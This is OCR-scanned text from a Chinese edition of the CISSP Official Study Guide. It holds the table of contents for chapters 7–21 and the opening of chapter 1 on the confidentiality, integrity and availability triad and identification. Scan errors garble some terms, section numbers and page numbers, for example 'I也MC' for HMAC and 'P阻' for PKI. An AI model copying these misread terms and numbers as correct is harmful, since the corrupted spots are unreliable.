7.3 数字签名……….......………….......165
7.3.1 I也MC…........…………… ….166
7.3.2 数字签名标准….......…........167
7.4 公钥基础设施(P阻)........………"167
7.4.1 证书………………................167
7.4.2 证书授权机构…..................168
7.4.3 证书的生成与撤消-… ………169
7.4.4 非对称密钥的管理...............170
7.
5 密码学的应用….......….......……171
7.5.1 便携式设备…………………….171
7.5.2 电子邮件…… …………………171
7.5.3 Web应用......….......………..172
7.5.4 数字版权管理(DRM)….........174
7.5.5 网络连接.........................…176
7.
6 密码学攻击.................…...........179
7.
7 本章小结..............................…..181
7.8 考试要点.........…......................181
7.9 书面实验室 …….........….............182
7.10 复习题…·… … ..，......…… ……..183
第8章 安全模型的原则、
设计和功能........................……187
8.1 使用安全设计原则实施和
管理工程过程………………….......187
8.1.1 客体和主体….................….. 188
8.1.2 封闭式系统和开放式系统… 188
8.1.3 用于确保机密性、 完整性和
可用性的技术…… ……........189
XXVII
XXVIII
CISSP 官方学习指南(第 7 版)
8.1.4 控制.........….......…….........190
8.1.5 信任与保证 ……..............….190
8.2 理解安全模型的基本概念........191
8.2.1 可信计算基........................192
8.2.2 状态机模型…….......……….193
8.2.3 信息流模型........…….......…193
8.2.4 无干扰模型……..............….194
8.2.5 Take-Grant模型….......…….194
8.2.6 访问控制矩阵................…..195
8.2.7 Bell-LaPadula模型...............196
8.2.8 Biba模型............... …·…....197
8.2.9 Clark-Wilson模型................199
8.2.10 Brewer and Nash模型
(也叫作Chinese Wall)"…….200
8.2.11 Goguen-Meseguer模型........200
8.2.12 Sutherland模型…...............200
8.2.13 Graham-Denning模型…·…..200
8.3 基于系统安全评估模型
选择控制和对策…….................201
8.3.1 彩虹系列………........…........201
8.3.2 TCSEC分类和所需功能…·…202
8.3.3 彩虹系列中的其他颜色........203
8.3.4 ITSEC 类别与所需的
保证和功能性…………………205
8.3.5 通用准则…………….........…206
8.3.6 认证和鉴定 ……...............…208
8.4 理解信息系统的安全功能........210
8.4.1 内存保护……………….......…210
8.4.2 虚拟化…….........................210
8.4.3 可信平台模块……...............211
8.4.4 接口........….......................211
8.4.5 容错.........….........…..........211
8.
5 本章小结...................................212
8.6 考试要点….................…........… 212
8.7 书面实验室……………........…..213
8.8 复习题.........…........……….........213
第9童 安全脆弱性、 威胁和对施………217
9.1 评估和缓解安全脆弱性… ........218
9.1.1 硬件.................…………….218
9.1.2 存储器...............................226
9.1.3 存储设备…….......… ………..230
9.1.4 存储介质的安全性…............231
9.1.5 输入和输出设备…….......…..231
9.1.6 固件……… … ……………..233
9.2 基于客户端...............................234
9.2.1 applet…...............………….234
9.2.2 本 地缓存……......................235
9.3 基于服务端........................ ……237
9.4 数据库安全….......…..................237
9.4.1 聚合…........…………….......237
9.4.2 推理… … ………............…238
9.4.3 数据挖掘和数据仓库.........…238
9.4.4 数据分析…....................…..239
9.4.5 大规模并行数据系统……......239
9.
5 分布式系统… .......…...............239
9.5.1 云计算...............................241
9.5.2 网格计算……….......….........241
9.5.3 点对点………….......….........242
9.
6 工业控制系统……......................242
9.7 评估和缓解基于Web系统的
脆弱性….........................…........243
9.8 评估和缓解移动系统的
脆弱性..................................…..243
9.8.1 设备安全…......................…244
9.8.2 应用安全........….............….247
9.8.3 BYOD 关注点…….......……..248
9.9 评估和缓解嵌入式设备和
物联网系统的脆弱性……….......251
9.9.1 嵌入式系统和静态
系统的示例.........................251
9.9.2 安全方法….........................252
9.10 基本安全保护机制……….........253
9.10.1 技术机制.........…………….. 254
9.10.2 安全策略与计算机
体系结构………………........256
9.10.3 策略机制……………… …256
9.11 常见的缺陷和安全问题..........257
9.11.1 隐蔽 通道….........….........257
9.11.2 基于设计或 编码缺陷的
攻击和安全问 题.........……258
9. [1.3 编程………………........260
9.[ [.4 计时、 状态改变和
通信中断 .................……'260
9.11.5 技术和过 程完 整性 ...........261
9门.6 电磁辐射.................…… 261
9.12 本章小结……… .........……........262
9.13 考试要点........................………262
9.14 书面实验室……..………………".264
9.15 复习题……………………………'264
第 1 0 章 物理安全需求 ……........ ........ .…269
1
0.1 应用安全原则到选址和
设施设计........…......................270
10.1.1 安全设施计划……………"'270
10.1.2 场所选择…........….......…270
10.1.3 可视 性…………………271
10.1.4 自然灾害………… ……271
10.1.5 设施的设计…….......……'.271
10.2 设计和实施物理安全…………..272
10.2.1 设备故障........................273
10.2.2 配线间........................….273
10.2.3 服务器机房…·….........…"274
10.2.4 介质存储设施…………......275
10.2.5 证据存储…….......………..276
10.2.6 受限的和工作区域安全
(例如， 运营 中心) …………276
10.2.7 数据中心安全………………277
10.2.8 基础 设施和肝AC
注意事项….........……......279
目 录
10.2.9 水的问题(例如， 漏水
和水灾)…................…… 281
10.2.10 火灾的预防、 检测和
抑制…….......................281
10.3 实施和管理物理安全……........285
10.3.1 周 边(例如， 访问控制
和监控)…...................…..285
10.3.2 内部安全(例如， 陪同要求/
访问者控制、 钥匙和锁)….287
10.4 本章小结………….........………291
10.
5 考试要点................… ......……292
10.6 书面实验室…........………..........293
10.7 复习题 ……….......…...............294
第 1 1 章 网络安全架构与保护
网络组件….......... … .............. 297
11.1 OS1模型…… … .........….........298
11.1.1 OSI模型的历史...............298
[1.l.2 OSI功能……........…........298
11.1.3 封装/解封装................….299
[1.1.4 OSI分层……………..........300
11.2 TCP/1P模型…..........................305
11.2. [ TCP/IP协议族概述........…306
门.2.2 分层协议的应用 …………313
[ 1.2.3 TCP/IP的脆弱性……........314
1 [.2.4 域名解析........….........…315
11.3 汇聚协议.................……………315
11.4 内容分发网络… … ………………3 17
11.
5 无线网络……...............…………317
11.5.1 保护无 线接入点…… …..317
11.5.2 保护SSID....................... 319
11.5.3 执行现场勘测........….......319
11.5.4 使用加密协议...............…320
门.5.5 天线位置的确定...............322
门.5.6 天线类型........…..............322
11.5.7 调整功率水平控制………..323
11.5.8 使用强制门户………………323
XXIX
xxx
CISSP 官方学习指南(第 7 版)
11.5.9 一般的 Wi-Fi安全措施…..323
11.6 保护网络组件…… …… ...........324
11.6.1 网络接入控制.........………325
11.6.2 防火墙……………………… 325
11.6.3 终端安全........................328
门 6.4 其他网络设备……….........328
11.7 布线、 无线、 拓扑和
通 信技术.............................….330
11.7.1 网络布线 .......…....... …331
11.7.2 网络拓扑........................334
11.7.3 无 线通信 与安全性...........335
11.7.4 L AN技术…….........…339
11.8 本章小结…….......................….342
11.9 考试要点………......………………343
11.10 书面实验室........................….344
11.11 复习题……… ………………….345
第12章 安全通信和网络攻击…… ....349
12.1 网络与协议安全机制…...........350
12.1.1 安全通信 协议…….......…..350
12.1.2 身份认证协议…….......…..351
12.2 安全的语音通 信………………….351
12.2.1 互联网语音协议(VoIP)….352
12.2.2 社会工程 学………………352
12.2.3 伪造与滥用 ………….......353
12.3 多媒体协作……….........…........354
12.3.1 远程会议……..................355
12.3.2 即时消息.................…….355
12.4 管理电子邮件 的安全性……....355
12.4.1 电子邮件安全性的目标…356
12.4.2 理解电子邮件的安全性
问题........….........………..356
12.4.3 电子邮件安全性
解决方案…...............…...357
12.
5 远程接入安全管理…….......…..359
12.5.1 计划远程接入安全 … ……360
12.5.2 拨号协议 ……… … ........361
12.5.3 集中化的远程 身份
认证服务……………………361
12.
6 虚拟专用网络…........……………362
12.6.1 隧道技术………….........362
12.6.2 VPN的工作原理…………'.363
12.6.3 常用 VPN协议.........……'363
12.6.4 虚拟局域网….............…..365
12.7 虚拟化.........…… ........…..........365
12.7.1 虚拟化软件……...............366
12.7.2 虚拟化网络…………………366
12.8 网络地址转换………………..……367
12.8.1 专用IP 地址……………….368
12.8.2 状态NAT"….......….........369
12.8.3 静态NAT与动态NAT......369
12.8.4 自动私有 E 地址寻址…….370
12.9 交换技术…................….......….371
12.9.1 电路交换.........................371
12.9.2 分组交换…………….......…371
12.9.3 虚电路……..…………........372
12.10 WAN技术… ……………………372
12.10.1 W AN连接技术 ……… ..374
12.10.2 X.25 W AN连接.........…..374
12.10.3 帧中继连接…........…......374
12.10.4 ATM...........…………·….. 375
12.10.5 SMDS .................……….375
12.10.6 专门的协议................…375
12.10.7 拨号封装协议................375
12.11 各种安全控制特性................376
12.11.1 透明性 …........…….......376
12.11.2 验证完整性………….......376
12.11.3 传输机制........….......…..377
12.12 安全边界………………………….377
12.13 网络攻击与对策…….......…….378
12.13.1 DoS和 DDoS…………378
12.13.2 偷听.........….........……..379
12.13.3 假冒/伪装...............…….379
12.13.4 重放攻击……………...380
12.13.5 修改攻击…….......….......380
12.13.6 地址解析协议欺骗……….380
12.13.7 DNS投毒、 欺骗和
劫持......... ……… ....381
12.13.8 超链接欺骗…………........381
1
2.14 本章小结.........…… …·………382
1
2.15 考试要点...............................383
1
2.16 书面实验室… .......……….384
1
2.17 复习题…….......….......…………385
第 1 3 章 管理身份与认证......... ......... .....389
13.1 控制对资产的访问..................389
13.1.1 主体与客体的对比...........390
13.1.2 访问控制的类型……………391
13.1.3 CI A三要素…………392
l3.
2 比较身份标识与认证…………..393
13.2.1 身份的注册和证明 ………..393
13.2.2 授权与可问责性...............393
13.2.3 认证因素 ........…………….394
13.2.4 密码…·………………………395
13.2.5 智能卡和令牌………………397
13.2.6 生物识别 ..............… ……398
13.2.7 多因素身份认证……………401
13.2.8 设备认证………........…….401
13.3 实施身份管理………........………402
13.3.1 单点登录….........…………402
13.3.2 LDAP和集中式访问
控制......…… ……….402
13.3.3 LDAP平日P K......... l ..........402
13.3.4 Kerberos…….......….........403
13.3.5 联合身份管理和SSO……"404
13.3.6 其他单点登录的例子……"405
13.3.7 证书管理系统…… ......…406
13.3.8 整合身份服务…...............406
13.3.9 管理会话…·…….......……'406
13.3.10 AAA协议........…...........407
目 录
13.4 管理标识和访问开通
生命周期........….........…..........408
13.4.1 开通……..……………........408
13.4.2 账号审核……….......…......409
13.4.3 账号撤消.........….........…'41
0
13.
5 本章小结 ……..........….......…..410
13.6 考试要点…….......……….......….411
13.7 书面实验室…… … … ………..41
2
13.8 复习题……............................…41
2
第 14 章 控制和监控访问…........ ........…41 7
14.1 对比访问控制模型…….......…..417
14.1.1 对比许 可、 权限和特权…..418
14.1.2 理解授权机制..................418
14.1.3 用安全策略定义需求........419
14.1.4 部署深度防御 ........… ...419
14.1.5 自主访问控制…...............420
14.1.6 非自主访问控制…….........421
14.
2 理解访问控制攻击方式…… ...425
14.2.1 风险元素………................425
14.2.2 常见的访问控制攻击 ........428
14.3 本章小结…….......................….436
14.4 考试要点…………..…......……437
14.
5 书面实验室………........…..........438
14.6 复习题……....... ……….........438
第 1 5 章 安全评估和测试… ….......…… 441
1
5.1 创建安全评估和测试程序.......442
15.1.1 安全测试……………........442
15.1.2 安全评估.........................443
15.1.3 安全审计.........… ….........443
1
5.
2 执行漏洞评估……………………..444
15.2.1 漏洞扫描………................444
15.2.2 渗透测试…………… ....451
1
5.3 测试你的软件……...............…..452
15.3.1 代码审查和测试…….........452
15.3.2 接 口测试….........…..........455
XXXI
XXXII
CISSP 官方学 习指南(第 7 版)
15.3.3 误用案例 测试.........…… ..455
15.3.4 测试覆盖率分析…….......456
15.4 实现安全管理过程……….........456
15.4.1 日志审核.................….456
15.4.2 账户管理........................456
15.4.3 备份验证.........…….........457
15.4.4 关键性 能指标和
风险指标.........….........…457
15.
5 本章小结........….........…… ....457
15.
6 考试要点.........……..............….458
15.7 书面实验室 ….........…..............458
15.8 复习题…..................................459
第 1 6 章 管理安全运营 ........ .......... ........463
16.1 应用安全运营的概念……........464
16.1.1 知其所需和最小特权........464
16.1.2 职责和责任分 离...............465
16.1.3 岗位轮换…… …….......…467
16.1.4 强制休假................……"468
16.1.5 监控 特殊的特权… …'..468
16.1.6 管理信息生命周期...........469
16.1.7 服务级别协议…..........…..470
16.1.8 关注人员安全........…… .470
16.2 提供和管理资源……….........….471
16.2.1 管理硬件和软件资产……..471
16.2.2 保护物理资产..................472
16.2.3 管理虚拟资产.........………472
16.2.4 管理基于云的资产 …… .472
16.2.5 介质管理.........……………473
16.2.6 管理介质的生命周期……..475
16.3 配置管理.................................476
16.3.1 基线… ….......................476
16.3.2 用镜像创建基线……… '476
16.4 变更管理................….........…..478
16.4.1 安全影响分析.........…...479
16.4.2 版本控制…………….........479
16.4.3 配置文档……….......… …..480
16.
5 补丁管理和减少漏洞…........…480
16.5.1 补丁管理……..............…"480
16.5.2 漏洞管理…………… ………481
16.5.3 漏洞扫描…·……...............481
16.5.4 漏洞评估…………………….482
16.5.5 常见漏洞和披露…….........483
16.
6 本章小结…·………… ………..483
16.7 考试要点.................……….......484
16.8 书面实验室… …… ………..485
16.9 复习题.......……........................485
第 1 7 章 事件预防和晌应….......... ........ 489
17.1 管理事件响应………… …… 490
17川 事件界定.........................490
17.1.2 事件响应步骤…...............491
17.1.3 检测….........…..…..........491
17.1.4 响应...............................492
17.1.5 缓解………………………….492
17.1.6 报告……..............…........492
17.1.7 恢复………….......…..493
17.1.8 修复… ……………………...493
17.1.9 经验教训…….......….........494
17.2 部署预防措施........ …….......…'494
17.2.1 基本的预防措施……........495
17.2.2 理解攻击……...............….495
17.2.3 入侵检测和防御系统……"502
17.2.4 特殊的防御措施…·…........507
17.3 日志、 监控和审计… …… ..513
17.3.1 日志和监控 …….......……..513
17.3.2 出口监控........……...........520
17.3.4 审计和评估有效性……....521
17.4 本章小结…........................……525
17.
5 考试要点…..........................…'527
17.
6 书面实验室....................….......529
17.7 复习题….........….................…..529
第18章 灾难恢复计划… ……................533
18.1 灾难的本质........… ……….......534
18.1.1 自然灾难…....................534
18.1.2 人为灾难………...............538
18.1.3 其他公共设施和基础
设施故障…........….......…539
18.
2 理解系统恢复和容错能力.......541
18.2.1 保护硬盘驱动器...............542
18.2.2 保护服务器.........…………542
18.2.3 保护电源 ...............………543
18.2.4 受信恢复.........….........…544
18.2.5 服务质量.........…............545
18.3 恢复策略… …….....................545
18.3.1 确定业务单元的
优先顺序 ……..................546
18.3.2 危机管理.........…….........546
18.3.3 应急通信 …................….547
18.3.4 工作组恢复…........… … ..547
18.3.5 可替代的工作站点........…547
18.3.6 相互援助协议………………550
18.3.7 数据库恢复……….......…..551
18.4 恢复计划开发… ……...............552
18.4.1 紧急事件响应 …..............552
18.4.2 人员通知........................553
18.4.3 评估…….......……·…........553
18.4.4 备份和离站存储………..553
18.4.5 软件托管协议… .........…..556
18.4.6 外部通信……...............…556
18.4.7 公用设施…….......………..557
18.4.8 物流和供应................…..557
18.4.9 恢复与还原的比较........…557
18.
5 培训、 意识与文档记录………'558
18.
6 测试与维护 …….......………….558
18.6.1 通读测试 .........…….........558
18.6.2 结构化演练………............559
目 录
18.6.3 模拟测试………............….559
18.6.4 并行测试…… ..................559
18.6.5 完全中断测试......... … ....559
18.6.6 维护…….........................559
18.7 总结 ……..............................….560
18.8 考试要点…....... …………..........560
18.9 书面实验.........…........... ……561
18.10 复习题…·…......................…'561
第19章 事件与道德规范…...............…. 56 5
19.1 调查......…...............…….........565
19.1.1 调查的类型.........………...566
19.1.2 证据…............................567
19.1.3 调查过程........….........…..570
19.
2 计算机犯罪的主要类别...........571
19.2.1 军事和情报攻击……………571
19.2.2 商业攻击.........…………….572
19.2.3 财务攻击…… …… …… 572
19.2.4 恐怖攻击 … ... …………..573
19.2.5 恶意攻击………….........…'573
19.2.6 兴奋攻击 ……...............…574
19.3 事故处理…·…….......................575
19.3.1 常见的事故类型...............575
19.3.2 响应团队….........………….576
19.3.3 事故响应过程..................578
19.3.4 约谈个人.........................580
19.3.5 事故数据的完整性和
保存...............................580
19.3.6 事故报告.........….......…'580
19.4 道德规范……………·……………..581
19.4.1 (ISC)2的道德规范.........….582
19.4.2 道德规范 和互联网……......582
19.
5 本章小结...............……........…583
19.6 考试要点.........…........………….584
19.7 书面实验室………........…..........585
19.8 复习题.................………......…..585
XXXIII
XXXIV
CISSP 言为学习 指南(第 7 版)
第20章 软件开发安全…………….......….589
20.1 系统开发控制概述.........………589
20.1.1 软件开发.........…………'590
20.1.2 系统开发生命周期...........593
20.1.3 生命周期模型……………..595
20.1.4 甘特图与PERT….........….600
20.1.5 变更和配置管理………… .600
20.1.6 DevOps方法 ...................601
20.1.7 应用编程接口......…………602
20.1.8 软件测试 ………….........…603
20.1.9 代码仓库………….........…604
20.1.10 服务等级协议….......….604
20.1.11 软件采购.................…...605
20.2 创建数据库和数据仓储……….605
20.2.1 数据库管理系统的
体系结构......... …..........605
20.2.2 数据库事务……...............608
20.2.3 多级数据库的安全性........609
20.2.4 ODBC………….........…….610
20.3 存储数据和信息…….......……… 611
20.3.1 存储器的类型………………611
20.3.2 存储器威胁…….......… ….612
20.4 理解基于知识的系统........… ..612
20.4.1 专家系统…….......…… ….612
20.4.2 神经网络........…........…..613
20.4.3 决策支持系统..................613
20.4.4 安全性应用………...........614
20.
5 本章小结…………......…….........614
20.
6 考试要点……… …….......……….614
20.7 书面实验室.........…………........615
20.8 复习题……...............................615
第21章 恶意代码与应用攻击…….........619
2l.1 恶意代码...............………........619
21.1.1 恶意代码的来源………......620
2川2 病毒……… ….........…620
21.1.3 逻辑炸弹……...............….624
21.1.4 特洛伊木马…….......……..624
21.1.5 蠕虫........……………........625
21.1.6 间谍软件与广告软件........627
21.1.7 对策……......….........……628
21.2 密码攻击…….......…….........….629
21.2.1 密码猜测攻击..................629
21.2.2 字典攻击……...............….630
21.2.3 社会工程学攻击… ...........630
21.2.4 对策……………… ….........631
21.3 应用程序攻击……………........…631
21.3.1 缓冲区溢出… …… .........632
21.3.2 检验时间到使用时间........632
21.3.3 后门…….......….........……632
21.3.4 权限提升和rootkit..……….633
21 .4 Web应用的安全性…….......…..633
21.4.1 跨站脚本(XSS)攻击……….633
21.4.2 SQL 注入攻击………………634
21.
5 侦察攻击…................…...........636
21.5.1 IP 探测.........…........…….636
21.5.2 端口扫描……....... …… …637
21.5.3 漏洞扫描.........…........…..637
21.5.4 垃圾搜寻………................637
21.
6 伪装攻击………………………638
21.6.1 IP 欺骗 ………………........638
21.6.2 会话劫持………........……..638
21 .7 本章小结.................……… ..639
21 .8 考试要点………........…........…..639
21 .9 书面实验室..............................640
21 .
10 复习题.......…..............…·……640
附录 A 复习题答案……….................… ..643
附录 B 书面实验室答案.........…........….667
术语表………......…….......….......…………….677
第
.:::!i二
与王
通过原则和策略的安全治理
本章中覆盖的 CISSP 考试大纲包含 :
安全和风险管理(例如安全、 风险、 合规性、 法律、 法规、 业务连续性)
• A. 理解和应用机密性、 完整性和可用性的概念
• B. 应用 安全治理原则 ， 通过:
B. l 安全功能与战略、 目 标、 使命和愿景的一致(例如 商业案例 、 预算和资源)
B.2 组织的流程(例如并购 、 剥离和治理委员会)
B.3 安全角 色和职责
B.4 控制架构
B.5 应尽关注
B.6 应尽职责
• F. 开发和实现文档化的安全策略、 标准、 程序和指南
• 1 . 理解和应用威胁建模
1.1 识别威胁(例如竞争对手 、 供应商 、 雇 员和值得信赖的伙伴)
1 .2 确定和用 图表示潜在攻击(例如社会工程学 、 欺骗)
1 .3 执行降低分析
1 .4 修复威胁的技术和流程(例如软件架构和操作)
• K. 把安全风险考虑到收购策略和实践中
K. l 硬件、 软件和服务
K.2 第三方评估和监控(例如现场评估 、 文件传递和审查、 流程/策略审查)
K.3 最小化安全需求
K.4 服务级别需求
对于 CISSP 认证考试， 在通用知识体(Common body ofK nowledge， CBK)的安全和风险管理知
识域中有许多安全解决方案的 基本要素要处理。 这些基本要素包括安全机制的设计、 执行和管理 。
这个知识域的另外一些要素在第 2 章 "人员安全和风险管理概念"、 第3章 " 业务连续性计划" 和第
4 章 " 法律、 法规和合规性" 中讨论。 请务必检查所有这些章节中针对这一知识域主题的全部观点。
CISSP 官方学习指南(第 7 版)
1 . 1 理解和应用机密性 、 完整性和可用 性的概念
安全管理概念与原则是安全策略和解决方案部署中 的固有元素。 它们既定义了安全环境所需的
基本参数， 也定义了策略设计人员和系统实现人员为创建安全解决方案所必须达到 的 目 的和目标。
透彻地理解这些 内容， 对现实生活中 的安全专业人士 以 及 CISSP 考生来说是非常重要的 。
安全的主要 目 的和目标被包含在 CIA 三元组(见图 1.1)中 。 CIA 三元组是三条主要安全原则的名
字 ， 这三条安全原则是:
• 机密性(Confid巳ntiality)
• 完整性(Integrity)
• 可用性(Availability)
机密性
完整性 可用性
图1.1 CIA三元组
对安全控制进行评估时， 通常关注是否涉及这些核心的信息安全原则。 总的来说， 完整的安全
解决方案应当充分地涉及所有这些原则。 对脆弱性和风险的评估也是基于它们对一个或更多个 CIA
三元组原则的威胁程度 。 因此， 熟悉这些原则， 并使用它们作为评判安全相关问题的指导原则， 是
一个不错的主意。
这三条原则被认为是安全领域内最重要的原则。 然而， 每条原则对一个特定的组织究竟有多重
要 ， 主要取决于组织的安全 目 标和需求以及安全性所受到的威胁程度。
1.1.1 机密性
CIA 三元组的第一条原则是机密性。 如果安全机制提供机密性， 那么它就为限制未授权主体不
能访问数据、 客体或资源提供了 高级别保证。 如果存在对机密性的威胁， 那么就有可能发生未授权
的泄漏。
通常， 在网络上维护机密性时， 数据在存储、 处理和传输过程中 必须受到保护 ， 从而不会出现
未授权的访问 、 使用或暴露。 数据、 资源和客体的每一种状态都需要唯一的和特殊的安全控制， 以
便维持机密性。
2
针对破坏机密性的攻击有很多， 这些攻击包括捕获网络通信 、 窃取密码文件、 社会工程学、 端
口 扫描、 肩窥、 偷昕和嗅探攻击等。
对机密性的破坏不限于直接针对机密性的攻击。 许多未授权的敏感或机密信息泄露都是由于人
为错误、 疏忽或失职造成的。 造成机密性遭到破坏的事件包括: 没能对传输数据进行适当的加密;
在传输数据之前， 没能对远程系统进行充分的身份认证;一直打开不安全的接入点:访问恶意代码
第1章 通过原则和策略 的安全治理
导致打开后门:传真的误传， 在打印机上遗失文件， 甚至在显示器上显示数据时， 从访问终端离开。
如果终端用户 或系统管理员 的行为不当， 或者安全策略存在疏漏以及安全控制配置不正确， 那么机
密性也会受到破坏 。
许多对策有助于保障机密性， 抵御潜在威胁 。 这些措施包括加密、 网络流量填充、 严格的访问
控制 、 严格的认证程序、 数据分类和广泛的人员培训| 。
机密性和完整性相互依赖。 客体如果缺乏完整性， 机密'性就无法被维护。 机密'性的其他概念、
条件和特征包括:
敏感性 敏感性是指信息的品质， 如果这种信息被披露， 就可能会造成伤害或损坏。 维护敏感
信 息的机密性有助于预防伤害或损坏。
自 主性 自 主性是一种决策行为， 操作员 可以凭这种权利影响或控制信息的披露， 以便将伤害
或损坏降到最低。
关键性 信息的关键级别是对其关键性的评测 。 关键级别越高， 越需要保持信息的机密性。 高
级别的关键性对一个组织的运营和功能是必不可少的 。
隐蔽性 隐蔽是一种隐蔽或防止披露的行为。 隐蔽通常被视为覆盖、 混淆或干扰的一种手段。
保密性 保密是一种保守秘密或防止信息泄露的行为。
隐私 性 隐私是指要保持信息处于机密状态 ， 这些可能是个人识别信息， 或是如果泄露就可能
对某人造成伤害、 尴尬或丢人 的信息。
隐藏性 隐藏就是把信息存储到一个偏僻的位置。 这个位置还可以附加严格的访问控制。 隐藏
有助于实施机密性保护 。
隔离性 隔离是指把特定信息与其他信息分隔开来的行为。 隔离可以用来防止信息混杂或信息
泄露。
每个组织都需要对他们希望实现的机密性进行细微差别的评估。 用于实现一种形式机密性的工
具和技术可能不支持或不允许用于其他的形式。
1.1.2 完整性
CIA 三元组的第二条安全原则是完整性。 为了维护完整性， 客体必须保持自 身的正确性， 并且
只能由被授权的主体进行有意修改 。 如果安全机制提供了 完整性， 那么它就对数据、 客体和资源提
供了保持原有受保护状态和不被修改的高级别保证， 这也包括当客体在存储、 传输或处理过程中发
生的变更。 因此， 维护完整性意味着客体本身不会被改变， 井且管理和操纵客体的操作系统与程序
实体不会受到安全威胁。
我们可 以从下列 三个方面查看完整性:
• 应 该禁止未授权的主体执行修改操作。
• 应该禁止经过授权的主体执行未授权的修改操作 ， 例如失误。
• 客体应当内外保持一致， 这样它们的数据才能正确井真实地反映现实情况， 并且与任何子
客体、 同 等客体或父客体的 关系都是有效的、 一致的和可检验的。
为了在系统上维护完整性， 必须对数据、 客体和资源的访问进行适当控制 。 此外， 应当使用活
动日志记录， 从而保证只 有经过授权的用户才能够访问他们各 自 的资源。 在存储、 传输和处理过程
中 维护和确认客体完整性时， 需要各种各样 的控制和监督措施。
3
CISSP官方学 习指南(第 7 版)
针对破坏完整性的攻击有很多 。 这些攻击包括: 病毒、 逻辑炸弹、 未授权访问 、 编码和应用程
序 中 的错误、 恶意修改、 有企图的替换 以及系统后 门 。
与机密性一样， 对完整性的破坏不限于有意攻击。 许多对敏感信息的未授权修改实际是由于人
为错误、 疏忽或失职造成的 。 导致完整性被破坏的事件包括: 意外地删除文件:输入无效数据; 更
改配置， 例如命令、 代码和脚本中包含的错误:引 入病毒以及执行恶意代码(例如， 特洛伊木马)。
任何用户 (包括管理员)的不当行为都可能破坏完整性， 安全策略的疏漏或安全控制的配置不正确也
可 能导致类似事情的发生。
有许多措施可以确保完整性不会受到可能的威胁。 这些措施包括: 严格的访问控制 、 严密的身
份认证过程、 入侵检测系统、 对客体/数据进行加密 、 散列总和认证(详见第 6 章 " 密码学与对称加
密算法" ) 、 接口限制、 输入/功能检验 以及广泛的人员培训 。
完整性依赖于机密性。 缺乏机密性， 也就无法维护完整性。 完整性的其他概念、 条件和特征包
括: 准确性、 真实性、 可靠性、 合法性、 不可否认性、 可问责'性、 可信任性、 完整性以及可理解性。
1.1.3 可用性
C IA三元组的第三条安全原则是可用性， 可用性指的是经过授权的主体被及时准许和不间断地
访 问客体。 如果安全机制提供了 可用性， 那么它就提供了经过授权的主体能够访问数据、 客体和资
源 的高级别保证 。 可用性包括有效地不间 断地访问客体和阻止拒绝服务(Denial-oιSe rv邸 ， DoS)攻
击。 可用性还意味着支持基础结构(包括网络服务、 通信和访问控制机制)的正常运作 ， 并允许经过
授权的用户 获得被授权的访 问 。
4
为 了在系统中维护可用性， 必须进行适当的控制， 从而确保被授权的访问和可接受的性能等级、
快速处理中断、 提供冗余度、 维持可靠的备份 以及避免数据丢失或破坏。
针对可用性的威胁有很多 。 这些威胁包括: 设备故障、 软件错误， 以及环境问题(如高温、 静电、
洪水、 断 电等)。 针对可用性 的其他攻击形式还包括 DoS 攻击、 客体损坏和通信中断。
与机密性和完整性一样， 对可用性的破坏不限于有意攻击。 许多对敏感信息的未授权修改实际
是 由于人为错误、 疏忽或失职造成的。 导致可用性被破坏的事件包括: 意外地删除文件:硬件或软
件组件的过度使用 ; 私下分配资源:贴错标签或不正确的客体分类。 任何用户 (包括管理员)的不当
行为都可能破坏可用性， 安全策略的疏漏或安全控制的配置不正确也可能导致类似事情的发生。
有许多措施可以确保可用性不会受到可能的威胁。 这些措施包括: 正确设计中间传输系统、 有
效地使用访问控制、 对性能和网络通信进行监控 、 使用防火墙和路由器阻止 DoS 攻击、 为关键系统
实现冗余以及维护和测试备份系统 。 大多数安全策略， 以及业务连续性计划(Business Continuity
Planning， BCP) ， 都集中使用 各种级别的访问/存储/安全(即磁盘、 服务器或站点)来容错， 达到消除
单点故障 的 目 标， 从而维护关键系统的可用性。
可用性依赖于完整性和机密性。 缺乏完整性和机密性， 就无法维护可用性。 与可用性有关的其
他概念、 条件和特征包括: 使用性 、 可访问 性和 时效性。
第1章 通过原则和策略的安全治理
⑤ 真实场景
CIA 优先级
每个组织机构都有 自 己独特的安全需求。 就 CISSP 考试而言 ， 大多数安全概念只是被笼统地讨
论， 但是在现实生活中， 普通概念和最优方法不适用 于具体的安全工作。 管理 团fM口安全团 队必须
一起工作 ， 从而确定组织的各种安全要求的优先顺序。 这项工作 包括制定预算费用 计划、 分派技术
与 时间 ， 以及集中 盯 人员 和安全职员 的 工作成果。 这些活动的一个主要方面是确定组织各种安全要
求的优先顺序 。 了解各种原则或资产 的重要程度， 能够指导安全观点的形成以及安全解决方案的最
终部署。 通常， 开始建立优先顺序是一项艰巨的任务。 面对这样的挑战， 可行的解决方案是首先确
定机密性、 完整性和可用 性这三条主要安全原 则 的优先顺序。 对于为组织机构设计内 容全面的安全
解决方案来说， 确定最重要的元素是绝对必要的 。 由 此建立的模式能够复制来 自 设计、 体系结构 、
部署以及维护方面 的概念。
你是否知道 自 己组织 中 CIA 三元组组件的优先顺序 ? 如果不知道， 那 么请尝试找出 优先顺序。
让我们看一个对 CIA 优先顺序概念的有趣归纳: 在许多 情况下 ， 军 队和政府和l.J构倾向 于机密性
的优先顺序 高于完整性和可用性， 而私人公司 则倾向于可用 性的优先顺序 高于机密性和完整性。 尽
管这种优先顺序更关注于某条安全原 则 ， 但并不说明可以忽视或不恰当地应对优先顺序排在第 2 位
和第 3 位的安全原则。
1.1.4 其他安全概念
除了 CIA 三元组以外， 在设计安全策略和部署安全解决方案时， 还需要考虑其他很多与安全有
关的概念和原则。 这一节主要讨论身份标识、 身份认证、 授权、 审计、 可问责性(见图 1 .2)， 以及不
可否认性。
1 . 身份标识
身份标识
4身份认证
L告 授权
4审计
4可问贵性
图1.2 AAA 服务的 5 个要素
身份标识是一个过程， 在这个过程中 ， 主体会表明身份， 并且开启可问责性。 主体必须向系统
提供身份， 从而启动身份认证、 授权和可问责性的过程。 提供身份的方式可以是: 键入用户名 、 刷
智能卡、 挥动接近设备、 说出一条短语， 或将脸、 手或手指置于照相机或扫描设备前。 提供 D 号
的过程也是身份标识过程。 如果没有提供身份， 那么系统就没有办法将身份认证因素与主体关联在
一起。
一旦主体通过身份标识(也就是识别和验证了 主体的身份)， 此身份就对主体今后的行为负责 。 π
系统根据身份而非主体本身进行跟踪活动 。 计算机无法区分不同 的人， 但是却知道不同用户 的账户
5
6
CISSP 官方学习指南(第 7 版)
是有区别的。 主体的身份通常被标记为或被视为公共信息。 然而， 简单地声明身份并不意味着访问
或授权。 在 获得授权访 问 受控资源之前， 身份必须被证明 或验证。 这个过程称为身份认证。
2. 身份认证
